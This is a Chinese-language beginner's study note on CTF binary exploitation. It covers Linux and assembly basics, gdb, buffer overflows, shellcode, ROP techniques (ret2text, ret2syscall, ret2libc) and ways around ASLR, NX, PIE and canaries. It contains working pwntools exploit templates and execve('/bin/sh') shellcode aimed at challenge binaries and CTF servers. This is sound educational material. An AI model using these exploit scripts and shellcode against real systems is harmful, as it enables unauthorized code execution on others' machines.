pwn基础入门

先存个档。

1. Linux入门

命令 含义 示例
pwd 输出当前路径 pwd
ls 列出位于当前路径的文件 ls -al
cd xxx 改变当前路径,前往xxx目录 cd ~/workspace
cat xxx 直接展示xxx文件的内容 cat hw.c
* \ grep xxx *是其他命令,输出含有xxx的行 cat hw.c \ grep stdio.h
* \ less 查看输出更舒服,jk上下移动q退出 cat hw.c \ less
./xxx 运行当前目录xxx可执行文件 ./a.out

2. 汇编基础

内存地址:在有段/偏移寄存器的语境下一般记为段:偏移,如CS:IP,SS:IP,SS:BP,DS:DI,DS:SI,DS:[]

小端序:低地址存放低位数据

一个程序的内存空间:

高地址 OS Kernel Space
Stack
↓(blank)
Shared Libraries
↑(blank)
Heap
BSS
Data(RW)数据段
Text(RX)代码段
低地址 (blank)

栈:

SS:SP 栈顶
SS:BP 栈帧基底
SS 栈底

寄存器总结

name 用途 name 用途
AX 通常用来存放函数的返回值 SS(Stack Seg) 栈的段地址/基地址
CX 通常用来做循环计数器 CS(Code Seg) 下一条指令的段地址
BX DS(Data Seg) 数据的段地址
DX SP(Stack Pointer) 栈顶偏移地址
BP(Base Pointer) 栈的基址偏移地址
IP(Instruction Pointer) 下一条指令的偏移地址

汇编指令

汇编指令

3. 程序装载与栈帧结构

在Linux的可执行文件ELF

ELF文件类型:

  • Relocatable File(*.o):可重定位文件,用来链接的素材
  • Executable File(*):可执行文件
  • Shared Object File(*.so):共享目标文件,用于做动态链接库

4. 实战环境配置和工具介绍

连接远程服务器:

nc表示netcat

1
nc node4.buuoj.cn 28487

使用file查看文件信息,checksec查看文件保护信息。

利用gdb调试ELF文件:

命令 简写 说明
file 装载一个文件,可以在gdb后加参数,效果等同
kill 终止当前调试的进程
run r 运行当前装载的文件,运行过程中使用Ctrl + C退出程序交互,进入调试(在退出时位置)
next n =step over 单步步过
step s =step into 单步步入
continue c 继续执行程序,直到下一个中断或程序结束
finish fini 运行到函数返回处
catch 设置捕捉点
thread t 查看当前程序的线程信息
break b 在当前位置设置断点
backtrace k 查看当前函数调用栈信息
stack stack n 查看栈内容
vmmap 查看程序中的分段,相当于OD中的E模块

5. 缓冲区溢出

编写程序时没有考虑或错误设置用户输入长度,导致用户向缓冲区输入长度超过接受变量长度,从而覆盖到其它正常数据,破坏栈帧结构。

缓冲区溢出常见的漏洞函数:

1
2
3
4
5
6
7
8
9
char *gets(char *str);

int read(int handle, void *buf, int len);

int scanf(const char *format, ...);

int getchar(void);

int printf(const char *restrict format, ...);

如果文件中有”/bin/sh”,可用以下脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
context(log_level='debug', os='linux', arch='amd64', bits=64)
context.terminal = ['/usr/bin/x-terminal-emulator', '-e']

# Interface
local = True
binary_name = 'filename'
port = 12345

if local:
p = process(["./" + binary_name])
e = ELF('./' + binary_name)
# libc = ELF('e.libc')
else:
p = remote("ctf.spaceskynet.top", port)
e = ELF("./" + binary_name)
# libc = ELF("libc-2.23.so")

def z(a=''):
if local:
gdb.attach(p, a)
if a == '':
raw_input()
else:
pass
ru = lambda x: p.recvuntil(x)
rc = lambda x: p.recv(x)
sl = lambda x: p.sendline(x)
sd = lambda x: p.send(x)
sla = lambda delim, data: p.sendlineafter(delim, data)

# main
if __name__ == "__main__":
z('b foo') #在foo函数下断
# 如果直到backdoor和binsh的地址可直接写地址
# backdoor = 0x08049172
# bin_sh = 0x0804A008
backdoor = e.symbols['backdoor'] #参数为函数名字
bin_sh = next(e.search(b'/bin/sh')) #在ELF文件中找/bin/sh
main_addr = e.symbols['main']
payload = b'a' * 0x1c + p32(backdoor) + p32(main_addr) + p32(bin_sh) # 即执行完backdoor函数后返回到main函数
sl(payload)
p.interactive()

6. Shellcode

shellcode就是能使程序调用shell的一段代码(通常为汇编级别/机器码)。一旦某种shellcode被执行,我们就能够拿到目标机器的控制权限,从而获取flag。

  • system(“/bin/sh”);(?) -> execve(“/bin/sh”, 0, 0)
  • 触发中断(int 0x80 / syscall)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
; first.asm
; first get shell test in pwn class
; nasm -f elf32 first.asm
; ld -m elf_i386 -o getShell first.o
; objump -d getShell

global _start
_start:
push "/sh"
push "/bin"
mov ebx, esp
xor edx, edx
xor ecx, ecx
mov al, 0xb
int 0x80

Shellcode脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

if __name__ == '__main__':
context(os='linux', arch='amd64', bits=64)
payload1 = asm(shellcraft.sh())
My_Shellcode = """
mov rbx, 0x68732f6e69622f
push rbx
push rsp
pop rdi
xor esi, esi
xor edx, edx
push 0x3b
pop rax
syscall
"""
payload2 = asm(My_Shellcode)
p = process('./mrctf2020_shellcode')
# p = remote('node3.buuoj.cn', 25266)
# p.sendline(payload1)
p.sendline(payload2)
p.interactive()

7. ROP链构造

NX——NO Execute bit(禁止执行位)是应用在CPU上的安全技术,它支持了操作系统级别的DEP——Data Execute Prevention(数据执行保护,Microsoft)。在应用了NX的系统上,(如果可执行文件开启保护),会把内存中的区域分为只供存储指令和只供存储数据两种。NX bit 被标记在内存分页中使用的页表索引上,如果置1,则该页内存数据不允许被执行,即把所有内容作为数据处理。这样可以防范shellcode注入攻击。

ROP——Return-Oriented Programming(返回导向编程)技术,允许攻击者在开启了栈不可执行等安全保护技术的情况下,执行恶意代码。

核心思想是通过栈溢出等方式,改写栈上的控制信息(调用栈,即return address, rbp等),以控制调用栈,劫持程序控制流并执行一些针对性的命令序列(gadgets)。

gadgets主要指一些以ret结尾的小段汇编指令,它们的执行通过ret语句和栈上控制的返回地址相连,构成一条ROP链。链的功能是设置寄存器值,泄露信息,调用函数等。

7.1 Ret2Text

gadget一般存在于Text中,或者广义上存在于ELF文件中(指令部分)。将返回地址改写为能执行某些特定功能的gadget地址,构造ROP链。

辅助工具:ropper、pwntools(ELF class)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
context(log_level='debug', os='linux', arch='amd64', bits=64)
context.terminal = ['/usr/bin/x-terminal-emulator', '-e']

# Interface
local = True
binary_name = 'filename'
port = 12345

if local:
p = process(["./" + binary_name])
e = ELF('./' + binary_name)
# libc = ELF('e.libc')
else:
p = remote("ctf.spaceskynet.top", port)
e = ELF("./" + binary_name)
# libc = ELF("libc-2.23.so")

def z(a=''):
if local:
gdb.attach(p, a)
if a == '':
raw_input()
else:
pass
ru = lambda x: p.recvuntil(x)
rc = lambda x: p.recv(x)
sl = lambda x: p.sendline(x)
sd = lambda x: p.send(x)
sla = lambda delim, data: p.sendlineafter(delim, data)

# main
if __name__ == "__main__":
# backdoor = e.plt['system']
backdoor = e.symbols['backdoor'] #参数为函数名字
bin_sh = next(e.search(b'/bin/sh')) #在ELF文件中找/bin/sh
poprdi = 0x4011eb
payload = b'a' * 0x10 + b'b' * 0x08 + p64(poprdi) + p64(bin_sh) + p64(backdoor) # 将当前rdi的值扔掉,bin_sh的地址赋给rdi,作为参数调用backdoor中的system
sl(payload)
p.interactive()

如果文件中没有system函数,如果想要调用system函数,要利用到PLT表。

7.2 Ret2syscall

  • 一般为静态链接的可执行文件,指令非常多,也提供了许多gadget
  • 最核心gadget:syscall(int 0x80)
  • 整体类似Shellcode注入

静态链接的ELF文件在IDA的函数窗口全是一片白,没有粉色的动态链接。

利用ROPgadget工具,自行生成ROP链。

7.3 PLT表和GOT表

GOT表和PLT表

这里的PLT表示.plt,GOT表表示.got.plt.got存放其它全局符号信息,与.got.plt不同,与.plt关系不大。

7.4 Ret2libc

  • 对动态链接文件,一般链接glibc
  • glibc链接基址未知,需要进行基址泄露
  • 一般需要程序循环,可以通过ROP链构造循环
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *
context(log_level='debug', os='linux', arch='amd64', bits=64)
context.terminal = ['/usr/bin/x-terminal-emulator', '-e']

# Interface
local = True
binary_name = 'filename'
port = 12345

if local:
p = process(["./" + binary_name])
e = ELF('./' + binary_name)
# libc = ELF('e.libc')
else:
p = remote("ctf.spaceskynet.top", port)
e = ELF("./" + binary_name)
# libc = ELF("libc-2.23.so")

def z(a=''):
if local:
gdb.attach(p, a)
if a == '':
raw_input()
else:
pass
ru = lambda x: p.recvuntil(x)
rc = lambda x: p.recv(x)
sl = lambda x: p.sendline(x)
sd = lambda x: p.send(x)
sla = lambda delim, data: p.sendlineafter(delim, data)

prdi = 0x400c83
penc = 0x4009a0
# main
if __name__ == "__main__":
z('b *0x4009d1\nb *0x400aee')
sla('choice',b'1')
payload = b'a' * 0x50 + b'b' * 0x08 + p64(prdi) + p64(e.got['puts']) + p64(e.plt['puts']) + p64(penc) # 泄露puts函数地址
sla('encrypted', payload)

ru(b'\x40\x0a')
log.info('start detecting libc address')
libc_puts = u64(p.recvuntil(b'\x0a', drop=True).ljust(8, b'\x00'))
log.success('libc puts address found:' + hex(libc_puts))
libc = LibcSearcher('puts', libc_puts)
# libc.symbols['puts']

# libc.select_libc(0)
libc_addr = libc_puts - libc.dump('puts')

rtn_addr = 0x400b27
payload = b'a' * 0x50 + b'b' * 8
for i in range(1):
payload += p64(rtn_addr) # for align
payload += p64(prdi) + p64(libc_addr + libc.dump("str_bin_sh")) + p64(libc_addr + libc.dump("system"))
sla('encrypted', payload)

p.interactive()

8. ELF保护措施及绕过方法

8.1 ASLR

ASLR(Address space layout randomization)——地址空间配置随机化

将可执行文件、共享库、栈、堆的基址随机化,用于防范明确地址的内存破坏攻击,比如ret2libc、stack address。

应对方法:地址泄露

8.2 NX

看[7.ROP链构造]

8.3 PIE

PIE(Position-independent executable)——地址无关代码/可执行文件

无论文件被加载进内存空间的什么地址中,程序都能够正常运行。在共享库链接中有重要作用。共享库文件被动态链接到内存中,PIE使其能正确处理外部引用。在普通ELF文件上,ELF配合ASLR,使其基址不可预测,增加了攻击难度。

整个ELF文件都会被装载进一个随机偏移的连续内存空间里,只有基址变成了未知,其它都是相同的。

应对方法:Partial Writing

程序的加载以内存页(4K)为单位,基地址后3位(hex)一定为0,同一文件被加载进连续地址中。

一般利用Return Address控制跳转,可通过栈上已有地址,只修改最低3位(2B,4位)值,控制转向

8.4 Canary

Canary(Canary in a coal mine)——金丝雀

一串随机数据,放置在栈数据和控制信息之间,函数开始时被放入,退出前检验,若被修改立即终止程序,极大地防范了栈溢出攻击。

应对方法:Canary Leak

  • 覆盖栈到Canary处,利用puts等函数泄露地址
  • Canary最低字节为0,防止连带输出

小技巧:scanf("%d");输入”+”不覆盖内存数据

9. Stack Pivot

假如可供泄露空间过少,或者需要整段可控的栈空间,这就需要使栈帧移向可控栈空间,控制程序执行流转向。